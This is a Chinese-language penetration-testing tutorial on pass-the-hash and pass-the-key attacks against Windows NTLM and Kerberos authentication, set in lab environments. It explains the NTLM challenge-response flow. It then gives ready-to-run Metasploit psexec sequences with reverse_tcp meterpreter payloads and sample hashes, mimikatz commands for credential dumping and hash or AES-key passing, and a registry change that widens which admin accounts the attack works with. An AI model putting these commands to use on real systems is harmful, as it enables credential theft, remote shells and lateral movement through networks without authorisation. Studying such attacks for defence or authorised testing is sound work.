0x01、Pass-the -hash概述
NTLM Hash验证过程
1.用户输入username、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;
2.客户端将username明文发给DC;
3.DC生成一个16Byte的随机数(challenge)发送给客户端;
4.客户端通过运算生成一个响应值response=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防止回访等;
5.客户端将响应值发送给DC;
6.DC经过同样的运算result = f(hashes,challenge,other),然后比较result和response,一直就验证通过,不一致则验证不通过;
7.备注:目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。
我们可以看看工作组中和域环境中的NTLM认证过程
第三步的对比,发现工作组和域环境的认证方式都是一样的
客户端收到服务端返回的 TYPE 2 消息, 读取出服务端所支持的内容,并取出其中的随机值Challenge,用缓存的服务端的密码的NTLM-Hash对其进行加密,并与用户名、Challenge等一起组合得到 Net-NTLMHash,最后将Net NTLM-Hash封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息, Authenticate认证消息),发往服务端
唯一的不同,就是域环境下多了4和5两个步骤
第四个步骤:
服务器接收到客户端发送来的 NTLM_AUTH 的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向DC域控(Domain Control)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、原始的Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
第五个步骤:
DC根据用户名获取该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。
但是在工作组的环境下也是这样,目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。
所以,域环境和工作组环境下都可以使用NTLM hash传递攻击
从而我们可以通过第一步,进行伪造;为什么呢?
相信大家大部分都是web狗,我就以登陆网址为例子
哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。
0x02、hash传递攻击实操
在工作组环境中:
- Windows 2003和之前的机器,可以使用本地管理员组内用户进行攻击。
- Windows 2003 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
- 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
1、msf进行hash传递攻击
有些时候,当我们获取到了某台主机的 administrator
用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。
这里目标主机的Windows Vista之后的机器,所以只能使用administrator用户进行攻击。
(一)、工作组环境
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit
(二)、域环境
当我们获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec
模块用MSF进行哈希传递攻击。
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test #test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit
2、mimikatz进行hash传递
privilege::debug #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希
(一)、工作组
(二)、域环境
这时候使用下面这条命令查看是否有权限
dir \\dc.sun.com\c$
#也可以ip查看
dir \\192.168.1.5\c$
0x03、Pass The Key
当机器打了KB2871997
补丁之后,我们发现使用域管理员组内无法进行hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进行hash传递攻击
要求前提:
- 域环境下
- 安装了
KB2871997
补丁
privilege::debug #提升权限
sekurlsa::ekeys #抓取aes秘钥
#aes-256传递
sekurlsa::pth /user:用户名 /domain:域名 /aes256:
#aes-128传递
sekurlsa::pth /user:用户名 /domain:域名 /aes128:
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e
0x04、KB2871997补丁怎么回事?
其实 KB2871997 的补丁并没有多大的用处,由于在 Windows Vista 时代,微软就通过将LocalAccountTokenFilterPolicy 值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响。即使目标主机更新了KB2871997的补丁,仍然可以使用PID=500的用户进行哈希传递攻击,而 PID=500 的用户默认为 aministrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击
实验
- Windows Server 2008R2:192.168.10.20
- 域管理员:administrator 、 xie
未打 KB2871997 补丁前,使用 administrator 账号可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。
打上 KB2871997 补丁后,使用 administrator 账号依然可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。
将 administrator 账号重命名为 admin 账号后,由于不存在 administrator 账号了,所以无法使用administrator 账号进行哈希传递攻击,但是可以使用 admin 账号紧进行哈希传递攻击,因为 admin 账号的SID值为 500。
修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通域管理员账号 xie 也可进行哈希传递攻击。
修改 LocalAccountTokenFilterPolicy 为1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
恢复 LocalAccountTokenFilterPolicy 为0 (删除后需要重启 explorer.exe 才能使修改生效)
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f